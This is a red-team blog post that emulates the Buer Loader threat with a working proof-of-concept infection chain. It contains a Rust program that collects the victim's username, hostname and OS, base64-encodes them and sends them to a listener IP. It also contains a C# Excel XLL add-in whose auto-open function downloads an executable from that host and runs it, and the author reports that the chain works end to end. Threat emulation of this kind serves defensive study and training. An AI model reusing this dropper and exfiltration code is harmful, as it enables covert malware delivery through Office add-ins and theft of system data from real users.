August 5, 2021
A pinch of XLL and a splash of Rust has the potential to be a sharp combination
Emulating the Buer Loader threat using Rust for reconnaissance and a C# XLL dropper — from zero Rust experience to a working PoC.
Originally published on redteamer.tips
Yesterday I was browsing the interwebs and this article from Fortinet caught my eye:
Signed, Sealed, and Delivered — Signed XLL File Delivers Buer Loader
This immediately piqued my interest, as we are treating XLL and WLL files in the SANS SEC699 class as well, which I happen to teach on occasions. As the adversary is using Rust in their infection chain, and Rust was on my “to play around with” list, I figured now would be as good as any to try some shenanigans.
This blog is the result of that shenanigans. I wanted to create a quick and dirty PoC to emulate the threat. It should be noted that prior to writing, I had never fiddled around with Rust before. You could replace Rust with Python or C# for example.
Prerequisites
- A Windows VM with Office installed
- Visual Studio Code with the Rust plugin
- Rust itself
WTF are crates? AKA RTFM
In the Fortinet article the following line is mentioned:
Consistent with the latest version of Buer Loader, this version was observed incorporating the whoami (https://github.com/libcala/whoami) RUST crate
If you never touched Rust before I’m guessing your first reaction is the same as mine: “WTF are crates?” Of course, as I am used to C# I made the link to NuGet packages quite quickly. But I had no idea how to use that whoami crate, so I read the documentation.
Invoking cargo new whoami gave me some boilerplate scaffolding. From the documentation, I also concluded I could add GitHub dependencies directly into my project manifest (Cargo.toml):
[package]
name = "whoami"
version = "0.1.0"
edition = "2021"
[dependencies]
whoami = { git = "https://github.com/libcala/whoami" }
Building the dependency with cargo build:
C:\Users\jarvis\Desktop\exclusions\rust\whoami-rust\whoami> cargo build
Updating git repository `https://github.com/libcala/whoami`
Updating crates.io index
Compiling whoami v1.1.2 (https://github.com/libcala/whoami#ffd1d773)
Compiling whoami v0.1.0 (C:\Users\jarvis\Desktop\exclusions\rust\whoami-rust\whoami)
Finished dev [unoptimized + debuginfo] target(s) in 25.23s
Now all I had to do was use the whoami crate in main.rs:
use whoami;
fn main() {
println!(
"User's Name whoami::realname(): {}",
whoami::realname()
);
println!(
"User's Username whoami::username(): {}",
whoami::username()
);
println!(
"User's Language whoami::lang(): {:?}",
whoami::lang().collect::<Vec<String>>()
);
println!(
"Device's Pretty Name whoami::devicename(): {}",
whoami::devicename()
);
println!(
"Device's Hostname whoami::hostname(): {}",
whoami::hostname()
);
println!(
"Device's Platform whoami::platform(): {}",
whoami::platform()
);
println!(
"Device's OS Distro whoami::distro(): {}",
whoami::distro()
);
println!(
"Device's Desktop Env. whoami::desktop_env(): {}",
whoami::desktop_env()
);
}
And sure enough, invoking cargo run:
User's Name whoami::realname(): jarvis
User's Username whoami::username(): jarvis
User's Language whoami::lang(): ["en-US"]
Device's Pretty Name whoami::devicename(): DESKTOP-RUVN1NJ
Device's Hostname whoami::hostname(): DESKTOP-RUVN1NJ
Device's Platform whoami::platform(): Windows
Device's OS Distro whoami::distro(): Windows 10.0.19043 (Workstation)
Device's Desktop Env. whoami::desktop_env(): Windows
Huzzah, we got a whoami assembly, written in Rust. To compile to release: cargo build --release.
Exfil data
According to the Fortinet post, the Rust binary uses minreq so let us add it to our manifest along with base64 encoding (the threat intel talks about crypto crates, but for the sake of PoC let’s keep it simple):
[package]
name = "whoami"
version = "0.1.0"
edition = "2021"
[profile.release]
debug = false
[dependencies]
whoami = { git = "https://github.com/libcala/whoami" }
minreq = { version = "2.4.2"}
base64 = {version="0.13.0"}
Now let’s create a function that will send our recon as a base64-encoded GET request:
use whoami;
use minreq;
use base64;
fn exfil(url:&str, data:&str) {
let concatenated = [url, data].join("/");
let response = minreq::get(concatenated).send();
}
fn main() {
let userName = base64::encode(["UserName", &whoami::username()].join(":"));
let deviceName = base64::encode(["DeviceHostname", &whoami::hostname()].join(":"));
let hostDistro = base64::encode(["Distro", &whoami::distro()].join(":"));
let exfilData = format!("{}{}{}", userName, deviceName, hostDistro);
exfil("http://192.168.0.151", &exfilData);
}
Running the program shows a base64-encoded GET request hitting our listener, which decodes into the recon data.
XLL time
XLLs are just DLLs but with the .xll extension. Let us create one using C# to spice things up a bit.
We will be using a technique described by Adam Chester and using the DLLExport NuGet to export the xlAutoOpen function as if it were managed code. First we will try it with a very innocent codebase:
using System;
using System.IO;
namespace SharpXLL
{
class Program
{
[DllExport]
static void xlAutoOpen()
{
File.Create(Environment.GetEnvironmentVariable("LocalAppData") + "/Temp/test.txt");
}
static void Main(string[] args)
{
}
}
}
This will just create a new test.txt file in the localappdata temp folder.
Make sure to compile to the architecture of your target Office. It is very possible that Office is running 32-bit while your OS is 64-bit.
After compilation, using DLLExport, we can verify in PEStudio that the export function is present. Everything seems good.
Change the file extension to .xll instead of .dll. If you now double click the XLL file, Excel will open and present you a prompt to enable the add-in. Click “Enable this add-in for this session only.” Browse to your localappdata temp directory and a new test.txt file will be awaiting you!
Weaponizing it
Let’s modify our XLL to download our rusty payload and run it:
using System;
using System.Net;
using System.IO;
using System.Diagnostics;
namespace SharpXLL
{
class Program
{
[DllExport]
static void xlAutoOpen()
{
string droplocation = Environment.GetEnvironmentVariable("LocalAppData") + "/Temp/notbuer.exe";
WebClient client = new WebClient();
client.DownloadFile("http://192.168.0.151/csrsc.exe", droplocation);
Process.Start(droplocation);
}
static void Main(string[] args)
{
}
}
}
Recompiling the DLL and renaming it to .xll results in our base64-encoded recon data being exfiltrated. The full chain works: XLL dropper downloads the Rust binary, Rust binary performs recon and exfils.
Conclusion
In this blogpost we talked about Rust, XLLs, and using C# kung fu. We took some threat intel, and formed it into a quick and relatively straightforward PoC in order to emulate the threat. Pretty neat for about an hour or so of work.
In this PoC we kept it simple, but Rust has the entire Win32 API in a crate… so this could get ugly, really really soon.